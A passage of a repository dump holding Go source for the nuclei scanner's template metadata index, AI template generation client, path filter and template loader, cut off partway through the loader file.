    "content": "package index\n\nimport (\n\t\"os\"\n\t\"slices\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n)\n\n// Metadata contains lightweight metadata extracted from a template.\ntype Metadata struct {\n\t// ID is the unique identifier of the template.\n\tID string `gob:\"id\"`\n\n\t// FilePath is the path to the template file.\n\tFilePath string `gob:\"file_path\"`\n\n\t// ModTime is the modification time of the template file.\n\tModTime time.Time `gob:\"mod_time\"`\n\n\t// Name is the name of the template.\n\tName string `gob:\"name\"`\n\n\t// Authors are the authors of the template.\n\tAuthors []string `gob:\"authors\"`\n\n\t// Tags are the tags associated with the template.\n\tTags []string `gob:\"tags\"`\n\n\t// Severity is the severity level of the template.\n\tSeverity string `gob:\"severity\"`\n\n\t// ProtocolType is the primary protocol type of the template.\n\tProtocolType string `gob:\"protocol_type\"`\n\n\t// Verified indicates whether the template is verified.\n\tVerified bool `gob:\"verified\"`\n\n\t// TemplateVerifier is the verifier used for the template.\n\tTemplateVerifier string `gob:\"verifier,omitempty\"`\n\n\t// NOTE(dwisiswant0): Consider adding more fields here in the future to\n\t// enhance filtering caps w/o loading full templates, such as:\n\t// `has_{code,headless,file}` to indicate presence of protocol-based\n\t// requests, and/or classification fields (CVE, CWE, CVSS, EPSS), if needed.\n\t//\n\t// For maintainers: when adding new fields, don't forget to update the\n\t// Weigher logic in [NewIndex] to account for the new fields in cache weight\n\t// calculation, because it affects cache eviction behavior. Also, consider\n\t// the impact on existing cached data and whether a [IndexVersion] bump is\n\t// needed.\n}\n\n// NewMetadataFromTemplate creates a new metadata object from a template.\nfunc NewMetadataFromTemplate(path string, tpl *templates.Template) *Metadata {\n\treturn &Metadata{\n\t\tID:       tpl.ID,\n\t\tFilePath: path,\n\n\t\tName:     tpl.Info.Name,\n\t\tAuthors:  tpl.Info.Authors.ToSlice(),\n\t\tTags:     tpl.Info.Tags.ToSlice(),\n\t\tSeverity: tpl.Info.SeverityHolder.Severity.String(),\n\n\t\tProtocolType: tpl.Type().String(),\n\n\t\tVerified:         tpl.Verified,\n\t\tTemplateVerifier: tpl.TemplateVerifier,\n\t}\n}\n\n// IsValid checks if the cached metadata is still valid by comparing the file\n// modification time.\nfunc (m *Metadata) IsValid() bool {\n\tinfo, err := os.Stat(m.FilePath)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\treturn m.ModTime.Equal(info.ModTime())\n}\n\n// MatchesSeverity checks if the metadata matches the given severity.\nfunc (m *Metadata) MatchesSeverity(sev severity.Severity) bool {\n\treturn m.Severity == sev.String()\n}\n\n// MatchesProtocol checks if the metadata matches the given protocol type.\nfunc (m *Metadata) MatchesProtocol(protocolType types.ProtocolType) bool {\n\treturn m.ProtocolType == protocolType.String()\n}\n\n// HasTag checks if the metadata contains the given tag.\nfunc (m *Metadata) HasTag(tag string) bool {\n\treturn slices.Contains(m.Tags, tag)\n}\n\n// HasAuthor checks if the metadata contains the given author.\nfunc (m *Metadata) HasAuthor(author string) bool {\n\treturn slices.Contains(m.Authors, author)\n}\n"
  },
  {
    "path": "pkg/catalog/loader/ai_loader.go",
    "content": "package loader\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"io\"\n\t\"net/http\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/alecthomas/chroma/quick\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\tpdcpauth \"github.com/projectdiscovery/utils/auth/pdcp\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\nconst (\n\taiTemplateGeneratorAPIEndpoint = \"https://api.projectdiscovery.io/v1/template/ai\"\n)\n\ntype AITemplateResponse struct {\n\tCanRun     bool   `json:\"canRun\"`\n\tComment    string `json:\"comment\"`\n\tCompletion string `json:\"completion\"`\n\tMessage    string `json:\"message\"`\n\tName       string `json:\"name\"`\n\tTemplateID string `json:\"template_id\"`\n}\n\nfunc getAIGeneratedTemplates(prompt string, options *types.Options) ([]string, error) {\n\tprompt = strings.TrimSpace(prompt)\n\tif len(prompt) < 5 {\n\t\treturn nil, errkit.Newf(\"Prompt is too short. Please provide a more descriptive prompt\")\n\t}\n\n\tif len(prompt) > 3000 {\n\t\treturn nil, errkit.Newf(\"Prompt is too long. Please limit to 3000 characters\")\n\t}\n\n\ttemplate, templateID, err := generateAITemplate(prompt)\n\tif err != nil {\n\t\treturn nil, errkit.Newf(\"Failed to generate template: %v\", err)\n\t}\n\n\tpdcpTemplateDir := filepath.Join(config.DefaultConfig.GetTemplateDir(), \"pdcp\")\n\tif err := os.MkdirAll(pdcpTemplateDir, 0755); err != nil {\n\t\treturn nil, errkit.Newf(\"Failed to create pdcp template directory: %v\", err)\n\t}\n\n\ttemplateFile := filepath.Join(pdcpTemplateDir, templateID+\".yaml\")\n\terr = os.WriteFile(templateFile, []byte(template), 0644)\n\tif err != nil {\n\t\treturn nil, errkit.Newf(\"Failed to generate template: %v\", err)\n\t}\n\n\toptions.Logger.Info().Msgf(\"Generated template available at: https://cloud.projectdiscovery.io/templates/%s\", templateID)\n\toptions.Logger.Info().Msgf(\"Generated template path: %s\", templateFile)\n\n\t// Check if we should display the template\n\t// This happens when:\n\t// 1. No targets are provided (-target/-list)\n\t// 2. No stdin input is being used\n\thasNoTargets := len(options.Targets) == 0 && options.TargetsFilePath == \"\"\n\thasNoStdin := !options.Stdin\n\n\tif hasNoTargets && hasNoStdin {\n\t\t// Display the template content with syntax highlighting\n\t\tif !options.NoColor {\n\t\t\tvar buf bytes.Buffer\n\t\t\terr = quick.Highlight(&buf, template, \"yaml\", \"terminal16m\", \"monokai\")\n\t\t\tif err == nil {\n\t\t\t\ttemplate = buf.String()\n\t\t\t}\n\t\t}\n\t\toptions.Logger.Debug().Msgf(\"\\n%s\", template)\n\t\t// FIXME:\n\t\t// we should not be exiting the program here\n\t\t// but we need to find a better way to handle this\n\t\tos.Exit(0)\n\t}\n\n\treturn []string{templateFile}, nil\n}\n\nfunc generateAITemplate(prompt string) (string, string, error) {\n\treqBody := map[string]string{\n\t\t\"prompt\": prompt,\n\t}\n\tjsonBody, err := json.Marshal(reqBody)\n\tif err != nil {\n\t\treturn \"\", \"\", errkit.Newf(\"Failed to marshal request body: %v\", err)\n\t}\n\n\treq, err := http.NewRequest(http.MethodPost, aiTemplateGeneratorAPIEndpoint, bytes.NewBuffer(jsonBody))\n\tif err != nil {\n\t\treturn \"\", \"\", errkit.Newf(\"Failed to create HTTP request: %v\", err)\n\t}\n\n\tph := pdcpauth.PDCPCredHandler{}\n\tcreds, err := ph.GetCreds()\n\tif err != nil {\n\t\treturn \"\", \"\", errkit.Newf(\"Failed to get PDCP credentials: %v\", err)\n\t}\n\n\tif creds == nil {\n\t\treturn \"\", \"\", errkit.Newf(\"PDCP API Key not configured, Create one for free at https://cloud.projectdiscovery.io/\")\n\t}\n\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(pdcpauth.ApiKeyHeaderName, creds.APIKey)\n\n\tresp, err := retryablehttp.DefaultClient().Do(req)\n\tif err != nil {\n\t\treturn \"\", \"\", errkit.Newf(\"Failed to send HTTP request: %v\", err)\n\t}\n\tdefer func() {\n\t\t_ = resp.Body.Close()\n\t}()\n\n\tif resp.StatusCode == http.StatusUnauthorized {\n\t\treturn \"\", \"\", errkit.Newf(\"Invalid API Key or API Key not configured, Create one for free at https://cloud.projectdiscovery.io/\")\n\t}\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tbody, _ := io.ReadAll(resp.Body)\n\t\treturn \"\", \"\", errkit.Newf(\"API returned status code %d: %s\", resp.StatusCode, string(body))\n\t}\n\n\tvar result AITemplateResponse\n\tif err := json.NewDecoder(resp.Body).Decode(&result); err != nil {\n\t\treturn \"\", \"\", errkit.Newf(\"Failed to decode API response: %v\", err)\n\t}\n\n\tif result.TemplateID == \"\" || result.Completion == \"\" {\n\t\treturn \"\", \"\", errkit.Newf(\"Failed to generate template\")\n\t}\n\n\treturn result.Completion, result.TemplateID, nil\n}\n"
  },
  {
    "path": "pkg/catalog/loader/filter/path_filter.go",
    "content": "package filter\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n)\n\n// PathFilter is a path based template filter\ntype PathFilter struct {\n\texcludedTemplates          []string\n\talwaysIncludedTemplatesMap map[string]struct{}\n}\n\n// PathFilterConfig contains configuration options for Path based templates Filter\ntype PathFilterConfig struct {\n\tIncludedTemplates []string\n\tExcludedTemplates []string\n}\n\n// NewPathFilter creates a new path filter from provided config\nfunc NewPathFilter(config *PathFilterConfig, catalogClient catalog.Catalog) *PathFilter {\n\tpaths, _ := catalogClient.GetTemplatesPath(config.ExcludedTemplates)\n\tfilter := &PathFilter{\n\t\texcludedTemplates:          paths,\n\t\talwaysIncludedTemplatesMap: make(map[string]struct{}),\n\t}\n\n\talwaysIncludeTemplates, _ := catalogClient.GetTemplatesPath(config.IncludedTemplates)\n\tfor _, tpl := range alwaysIncludeTemplates {\n\t\tfilter.alwaysIncludedTemplatesMap[tpl] = struct{}{}\n\t}\n\treturn filter\n}\n\n// Match performs match for path filter on templates and returns final list\nfunc (p *PathFilter) Match(templates []string) map[string]struct{} {\n\ttemplatesMap := make(map[string]struct{})\n\tfor _, tpl := range templates {\n\t\ttemplatesMap[tpl] = struct{}{}\n\t}\n\tfor _, template := range p.excludedTemplates {\n\t\tif _, ok := p.alwaysIncludedTemplatesMap[template]; ok {\n\t\t\tcontinue\n\t\t} else {\n\t\t\tdelete(templatesMap, template)\n\t\t}\n\t}\n\treturn templatesMap\n}\n\n// MatchIncluded returns true if the template was included explicitly\nfunc (p *PathFilter) MatchIncluded(template string) bool {\n\t_, found := p.alwaysIncludedTemplatesMap[template]\n\treturn found\n}\n"
  },
  {
    "path": "pkg/catalog/loader/loader.go",
    "content": "package loader\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net/url\"\n\t\"os\"\n\t\"sort\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/index\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/keys\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/stats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/workflows\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n\t\"github.com/rs/xid\"\n)\n\nconst (\n\thttpPrefix  = \"http://\"\n\thttpsPrefix = \"https://\"\n\tAuthStoreId = \"auth_store\"\n)\n\nvar (\n\tTrustedTemplateDomains = []string{\"cloud.projectdiscovery.io\"}\n)\n\n// Config contains the configuration options for the loader\ntype Config struct {\n\tStoreId                  string // used to set store id (optional)\n\tTemplates                []string\n\tTemplateURLs             []string\n\tWorkflows                []string\n\tWorkflowURLs             []string\n\tExcludeTemplates         []string\n\tIncludeTemplates         []string\n\tRemoteTemplateDomainList []string\n\tAITemplatePrompt         string\n\n\tTags              []string\n\tExcludeTags       []string\n\tProtocols         templateTypes.ProtocolTypes\n\tExcludeProtocols  templateTypes.ProtocolTypes\n\tAuthors           []string\n\tSeverities        severity.Severities\n\tExcludeSeverities severity.Severities\n\tIncludeTags       []string\n\tIncludeIds        []string\n\tExcludeIds        []string\n\tIncludeConditions []string\n\n\tCatalog         catalog.Catalog\n\tExecutorOptions *protocols.ExecutorOptions\n\tLogger          *gologger.Logger\n}\n\n// Store is a storage for loaded nuclei templates\ntype Store struct {\n\tid             string // id of the store (optional)\n\ttagFilter      *templates.TagFilter\n\tconfig         *Config\n\tfinalTemplates []string\n\tfinalWorkflows []string\n\n\ttemplates []*templates.Template\n\tworkflows []*templates.Template\n\n\tpreprocessor templates.Preprocessor\n\n\tlogger *gologger.Logger\n\n\t// parserCacheOnce is used to cache the parser cache result\n\tparserCacheOnce func() *templates.Cache\n\n\t// metadataIndex is the template metadata cache\n\tmetadataIndex *index.Index\n\n\t// indexFilter is the cached filter for metadata matching\n\tindexFilter *index.Filter\n\n\t// saveTemplatesIndexOnce is used to ensure we only save the metadata index\n\t// once\n\tsaveMetadataIndexOnce func()\n\n\t// NotFoundCallback is called for each not found template\n\t// This overrides error handling for not found templates\n\tNotFoundCallback func(template string) bool\n}\n\n// NewConfig returns a new loader config\nfunc NewConfig(options *types.Options, catalog catalog.Catalog, executerOpts *protocols.ExecutorOptions) *Config {\n\tloaderConfig := Config{\n\t\tTemplates:                options.Templates,\n\t\tWorkflows:                options.Workflows,\n\t\tRemoteTemplateDomainList: options.RemoteTemplateDomainList,\n\t\tTemplateURLs:             options.TemplateURLs,\n\t\tWorkflowURLs:             options.WorkflowURLs,\n\t\tExcludeTemplates:         options.ExcludedTemplates,\n\t\tTags:                     options.Tags,\n\t\tExcludeTags:              options.ExcludeTags,\n\t\tIncludeTemplates:         options.IncludeTemplates,\n\t\tAuthors:                  options.Authors,\n\t\tSeverities:               options.Severities,\n\t\tExcludeSeverities:        options.ExcludeSeverities,\n\t\tIncludeTags:              options.IncludeTags,\n\t\tIncludeIds:               options.IncludeIds,\n\t\tExcludeIds:               options.ExcludeIds,\n\t\tProtocols:                options.Protocols,\n\t\tExcludeProtocols:         options.ExcludeProtocols,\n\t\tIncludeConditions:        options.IncludeConditions,\n\t\tCatalog:                  catalog,\n\t\tExecutorOptions:          executerOpts,\n\t\tAITemplatePrompt:         options.AITemplatePrompt,\n\t\tLogger:                   options.Logger,\n\t}\n\tloaderConfig.RemoteTemplateDomainList = append(loaderConfig.RemoteTemplateDomainList, TrustedTemplateDomains...)\n\treturn &loaderConfig\n}\n\n// New creates a new template store based on provided configuration\nfunc New(cfg *Config) (*Store, error) {\n\t// tagFilter only for IncludeConditions (advanced filtering).\n\t// All other filtering (tags, authors, severities, IDs, protocols, paths) is\n\t// handled by [index.Filter].\n\ttagFilter, err := templates.NewTagFilter(&templates.TagFilterConfig{\n\t\tIncludeConditions: cfg.IncludeConditions,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstore := &Store{\n\t\tid:             cfg.StoreId,\n\t\tconfig:         cfg,\n\t\ttagFilter:      tagFilter,\n\t\tfinalTemplates: cfg.Templates,\n\t\tfinalWorkflows: cfg.Workflows,\n\t\tlogger:         cfg.Logger,\n\t}\n\n\tstore.parserCacheOnce = sync.OnceValue(func() *templates.Cache {\n\t\tif cfg.ExecutorOptions == nil || cfg.ExecutorOptions.Parser == nil {\n\t\t\treturn nil\n\t\t}\n\n\t\tif parser, ok := cfg.ExecutorOptions.Parser.(*templates.Parser); ok {\n\t\t\treturn parser.Cache()\n\t\t}\n\n\t\treturn nil\n\t})\n\n\t// Initialize metadata index and filter (load from disk & cache for reuse)\n\tstore.metadataIndex = store.loadTemplatesIndex()\n\tstore.indexFilter = store.buildIndexFilter()\n\tif cfg.ExecutorOptions != nil {\n\t\tcfg.ExecutorOptions.TemplateVerificationCallback = store.getTemplateVerification\n\t}\n\tstore.saveMetadataIndexOnce = sync.OnceFunc(func() {\n\t\tif store.metadataIndex == nil {\n\t\t\treturn\n\t\t}\n\n\t\tif err := store.metadataIndex.Save(); err != nil {\n\t\t\tstore.logger.Warning().Msgf(\"Could not save metadata cache: %v\", err)\n\t\t} else {\n\t\t\tstore.logger.Verbose().Msgf(\"Saved %d templates to metadata cache\", store.metadataIndex.Size())\n\t\t}\n\t})\n\n\t// Do a check to see if we have URLs in templates flag, if so\n\t// we need to process them separately and remove them from the initial list\n\tvar templatesFinal []string\n\tfor _, template := range cfg.Templates {\n\t\t// TODO: Add and replace this with urlutil.IsURL() helper\n\t\tif stringsutil.HasPrefixAny(template, httpPrefix, httpsPrefix) {\n\t\t\tcfg.TemplateURLs = append(cfg.TemplateURLs, template)\n\t\t} else {\n\t\t\ttemplatesFinal = append(templatesFinal, template)\n\t\t}\n\t}\n\n\t// fix editor paths\n\tremoteTemplates := []string{}\n\tfor _, v := range cfg.TemplateURLs {\n\t\tif _, err := urlutil.Parse(v); err == nil {\n\t\t\tremoteTemplates = append(remoteTemplates, handleTemplatesEditorURLs(v))\n\t\t} else {\n\t\t\ttemplatesFinal = append(templatesFinal, v) // something went wrong, treat it as a file\n\t\t}\n\t}\n\n\tcfg.TemplateURLs = remoteTemplates\n\tstore.finalTemplates = templatesFinal\n\n\turlBasedTemplatesProvided := len(cfg.TemplateURLs) > 0 || len(cfg.WorkflowURLs) > 0\n\tif urlBasedTemplatesProvided {\n\t\tremoteTemplates, remoteWorkflows, err := getRemoteTemplatesAndWorkflows(cfg.TemplateURLs, cfg.WorkflowURLs, cfg.RemoteTemplateDomainList)\n\t\tif err != nil {\n\t\t\treturn store, err\n\t\t}\n\n\t\tstore.finalTemplates = append(store.finalTemplates, remoteTemplates...)\n\t\tstore.finalWorkflows = append(store.finalWorkflows, remoteWorkflows...)\n\t}\n\n\t// Handle AI template generation if prompt is provided\n\tif len(cfg.AITemplatePrompt) > 0 {\n\t\taiTemplates, err := getAIGeneratedTemplates(cfg.AITemplatePrompt, cfg.ExecutorOptions.Options)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tstore.finalTemplates = append(store.finalTemplates, aiTemplates...)\n\t}\n\n\t// Handle a dot as the current working directory\n\tif len(store.finalTemplates) == 1 && store.finalTemplates[0] == \".\" {\n\t\tcurrentDirectory, err := os.Getwd()\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not get current directory\")\n\t\t}\n\t\tstore.finalTemplates = []string{currentDirectory}\n\t}\n\n\t// Handle a case with no templates or workflows, where we use base directory\n\tif len(store.finalTemplates) == 0 && len(store.finalWorkflows) == 0 && !urlBasedTemplatesProvided {\n\t\tstore.finalTemplates = []string{config.DefaultConfig.TemplatesDirectory}\n\t}\n\n\treturn store, nil\n}\n\nfunc (store *Store) getTemplateVerification(templatePath string) *protocols.TemplateVerification {\n\tif store.metadataIndex == nil {\n\t\treturn nil\n\t}\n\n\tmetadata, found := store.metadataIndex.Get(templatePath)\n\tif !found {\n\t\treturn nil\n\t}\n\n\treturn &protocols.TemplateVerification{\n\t\tVerified: metadata.Verified,\n\t\tVerifier: metadata.TemplateVerifier,\n\t}\n}\n\nfunc handleTemplatesEditorURLs(input string) string {\n\tparsed, err := url.Parse(input)\n\tif err != nil {\n\t\treturn input\n\t}\n\n\tif !strings.HasSuffix(parsed.Hostname(), \"cloud.projectdiscovery.io\") {\n\t\treturn input\n\t}\n\n\tif strings.HasSuffix(parsed.Path, \".yaml\") {\n\t\treturn input\n\t}\n\n\tparsed.Path = fmt.Sprintf(\"%s.yaml\", parsed.Path)\n\tfinalURL := parsed.String()\n\n\treturn finalURL\n}\n\n// ReadTemplateFromURI should only be used for viewing templates\n// and should not be used anywhere else like loading and executing templates\n// there is no sandbox restriction here\nfunc (store *Store) ReadTemplateFromURI(uri string, remote bool) ([]byte, error) {\n\tif stringsutil.HasPrefixAny(uri, httpPrefix, httpsPrefix) && remote {\n\t\turi = handleTemplatesEditorURLs(uri)\n\n\t\tremoteTemplates, _, err := getRemoteTemplatesAndWorkflows([]string{uri}, nil, store.config.RemoteTemplateDomainList)\n\t\tif err != nil || len(remoteTemplates) == 0 {\n\t\t\treturn nil, errkit.Wrapf(err, \"Could not load template %s: got %v\", uri, remoteTemplates)\n\t\t}\n\n\t\tresp, err := retryablehttp.Get(remoteTemplates[0])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tdefer func() {\n\t\t\t_ = resp.Body.Close()\n\t\t}()\n\n\t\treturn io.ReadAll(resp.Body)\n\t} else {\n\t\treturn os.ReadFile(uri)\n\t}\n}\n\nfunc (store *Store) ID() string {\n\treturn store.id\n}\n\n// Templates returns all the templates in the store\nfunc (store *Store) Templates() []*templates.Template {\n\treturn store.templates\n}\n\n// Workflows returns all the workflows in the store\nfunc (store *Store) Workflows() []*templates.Template {\n\treturn store.workflows\n}\n\n// RegisterPreprocessor allows a custom preprocessor to be passed to the store to run against templates\nfunc (store *Store) RegisterPreprocessor(preprocessor templates.Preprocessor) {\n\tstore.preprocessor = preprocessor\n}\n\n// Load loads all the templates from a store, performs filtering and returns\n// the complete compiled templates for a nuclei execution configuration.\nfunc (store *Store) Load() error {\n\ttemplates, err := store.LoadTemplates(store.finalTemplates)\n\tif err != nil {\n\t\treturn err\n\t}\n\tstore.templates = templates\n\tstore.workflows = store.LoadWorkflows(store.finalWorkflows)\n\treturn nil\n}\n\nvar templateIDPathMap map[string]string\n\nfunc init() {\n\ttemplateIDPathMap = make(map[string]string)\n}\n\n// buildIndexFilter creates an [index.Filter] from the store configuration.\n// This filter handles all basic filtering (paths, tags, authors, severities,\n// IDs, protocols). Advanced IncludeConditions filtering is handled separately\n// by tagFilter.\nfunc (store *Store) buildIndexFilter() *index.Filter {\n\tincludeTemplates, _ := store.config.Catalog.GetTemplatesPath(store.config.IncludeTemplates)\n\texcludeTemplates, _ := store.config.Catalog.GetTemplatesPath(store.config.ExcludeTemplates)\n\n\treturn &index.Filter{\n\t\tAuthors:              store.config.Authors,\n\t\tTags:                 store.config.Tags,\n\t\tExcludeTags:          store.config.ExcludeTags,\n\t\tIncludeTags:          store.config.IncludeTags,\n\t\tIDs:                  store.config.IncludeIds,\n\t\tExcludeIDs:           store.config.ExcludeIds,\n\t\tIncludeTemplates:     includeTemplates,\n\t\tExcludeTemplates:     excludeTemplates,\n\t\tSeverities:           []severity.Severity(store.config.Severities),\n\t\tExcludeSeverities:    []severity.Severity(store.config.ExcludeSeverities),\n\t\tProtocolTypes:        []templateTypes.ProtocolType(store.config.Protocols),\n\t\tExcludeProtocolTypes: []templateTypes.ProtocolType(store.config.ExcludeProtocols),\n\t}\n}\n\nfunc (store *Store) loadTemplatesIndex() *index.Index {\n\tvar metadataIdx *index.Index\n\n\tidx, err := index.NewDefaultIndex()\n\tif err != nil {\n\t\tstore.logger.Warning().Msgf(\"Could not create metadata cache: %v\", err)\n\t} else {\n\t\tmetadataIdx = idx\n\t\tif err := metadataIdx.Load(); err != nil {\n\t\t\tstore.logger.Warning().Msgf(\"Could not load metadata cache: %v\", err)\n\t\t}\n\t}\n\n\treturn metadataIdx\n}\n\n// LoadTemplateTags loads template tags count using metadata index when possible.\n//\n// This method is optimized for tag listing (`-tgl`) and avoids loading all\n// templates into the store.\nfunc (store *Store) LoadTemplateTags() (map[string]int, error) {\n\tdefer store.saveMetadataIndexOnce()\n\n\ttemplatePaths, errs := store.config.Catalog.GetTemplatesPath(store.finalTemplates)\n\tstore.logErroredTemplates(errs)\n\n\ttagsMap := make(map[string]int)\n\tindexFilter := store.indexFilter\n\n\ttemplatesCache := store.parserCacheOnce()\n\tif templatesCache == nil {\n\t\treturn nil, errors.New(\"invalid parser\")\n\t}\n\n\t// Include conditions require a parsed template and cannot be evaluated from\n\t// metadata alone.\n\trequiresTemplateParse := len(store.config.IncludeConditions) > 0\n\n\tfor _, templatePath := range templatePaths {\n\t\tif store.metadataIndex != nil {\n\t\t\tif metadata, found := store.metadataIndex.Get(templatePath); found {\n\t\t\t\tif !indexFilter.Matches(metadata) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif !requiresTemplateParse {\n\t\t\t\t\tfor _, tag := range metadata.Tags {\n\t\t\t\t\t\ttagsMap[tag]++\n\t\t\t\t\t}\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tloaded, err := store.config.ExecutorOptions.Parser.LoadTemplate(templatePath, store.tagFilter, nil, store.config.Catalog)\n\t\tif err != nil {\n\t\t\tif strings.Contains(err.Error(), templates.ErrExcluded.Error()) {\n\t\t\t\tstats.Increment(templates.TemplatesExcludedStats)\n\t\t\t\tif config.DefaultConfig.LogAllEvents {\n\t\t\t\t\tstore.logger.Print().Msgf(\"[%v] %v\\n\", aurora.Yellow(\"WRN\").String(), err.Error())\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tstore.logger.Warning().Msg(err.Error())\n\t\t\tcontinue\n\t\t}\n\n\t\tif !loaded {\n\t\t\tcontinue\n\t\t}\n\n\t\ttemplate, _, _ := templatesCache.Has(templatePath)\n\t\tif template == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tvar metadata *index.Metadata\n\t\tif store.metadataIndex != nil {\n\t\t\tmetadata, _ = store.metadataIndex.SetFromTemplate(templatePath, template)\n\t\t} else {\n\t\t\tmetadata = index.NewMetadataFromTemplate(templatePath, template)\n\t\t}\n\n\t\tif metadata != nil && !indexFilter.Matches(metadata) {\n\t\t\tcontinue\n\t\t}\n\n\t\tfor _, tag := range template.Info.Tags.ToSlice() {\n\t\t\ttagsMap[tag]++\n\t\t}\n\t}\n\n\treturn tagsMap, nil\n}\n\n// LoadTemplatesOnlyMetadata loads only the metadata of the templates\nfunc (store *Store) LoadTemplatesOnlyMetadata() error {\n\tdefer store.saveMetadataIndexOnce()\n\n\ttemplatePaths, errs := store.config.Catalog.GetTemplatesPath(store.finalTemplates)\n\tstore.logErroredTemplates(errs)\n\n\tindexFilter := store.indexFilter\n\tvalidPaths := make(map[string]struct{})\n\n\tfor _, templatePath := range templatePaths {\n\t\tif store.metadataIndex != nil {\n\t\t\tif metadata, found := store.metadataIndex.Get(templatePath); found {\n\t\t\t\tif !indexFilter.Matches(metadata) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif store.tagFilter != nil {\n\t\t\t\t\tloaded, err := store.config.ExecutorOptions.Parser.LoadTemplate(templatePath, store.tagFilter, nil, store.config.Catalog)\n\t\t\t\t\tif !loaded {\n\t\t\t\t\t\tif err != nil && strings.Contains(err.Error(), templates.ErrExcluded.Error()) {\n\t\t\t\t\t\t\tstats.Increment(templates.TemplatesExcludedStats)\n\t\t\t\t\t\t\tif config.DefaultConfig.LogAllEvents {\n\t\t\t\t\t\t\t\tstore.logger.Print().Msgf(\"[%v] %v\\n\", aurora.Yellow(\"WRN\").String(), err.Error())\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tvalidPaths[templatePath] = struct{}{}\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tloaded, err := store.config.ExecutorOptions.Parser.LoadTemplate(templatePath, store.tagFilter, nil, store.config.Catalog)\n\t\tif loaded {\n\t\t\ttemplatesCache := store.parserCacheOnce()\n\t\t\tif templatesCache != nil {\n\t\t\t\tif template, _, _ := templatesCache.Has(templatePath); template != nil {\n\t\t\t\t\tvar metadata *index.Metadata\n\n\t\t\t\t\tif store.metadataIndex != nil {\n\t\t\t\t\t\tmetadata, _ = store.metadataIndex.SetFromTemplate(templatePath, template)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tmetadata = index.NewMetadataFromTemplate(templatePath, template)\n\t\t\t\t\t}\n\n\t\t\t\t\tif !indexFilter.Matches(metadata) {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\tvalidPaths[templatePath] = struct{}{}\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tvalidPaths[templatePath] = struct{}{}\n\t\t}\n\n\t\tif err != nil {\n\t\t\tif strings.Contains(err.Error(), templates.ErrExcluded.Error()) {\n\t\t\t\tstats.Increment(templates.TemplatesExcludedStats)\n\t\t\t\tif config.DefaultConfig.LogAllEvents {\n\t\t\t\t\tstore.logger.Print().Msgf(\"[%v] %v\\n\", aurora.Yellow(\"WRN\").String(), err.Error())\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tstore.logger.Warning().Msg(err.Error())\n\t\t}\n\t}\n\n\ttemplatesCache := store.parserCacheOnce()\n\tif templatesCache == nil {\n\t\treturn errors.New(\"invalid parser\")\n\t}\n\n\tloadedTemplateIDs := mapsutil.NewSyncLockMap[string, struct{}]()\n\tcaps := templates.Capabilities{\n\t\tHeadless:      store.config.ExecutorOptions.Options.Headless,\n\t\tCode:          store.config.ExecutorOptions.Options.EnableCodeTemplates,\n\t\tDAST:          store.config.ExecutorOptions.Options.DAST,\n\t\tSelfContained: store.config.ExecutorOptions.Options.EnableSelfContainedTemplates,\n\t\tFile:          store.config.ExecutorOptions.Options.EnableFileTemplates,\n\t}\n\tisListOrDisplay := store.config.ExecutorOptions.Options.TemplateList 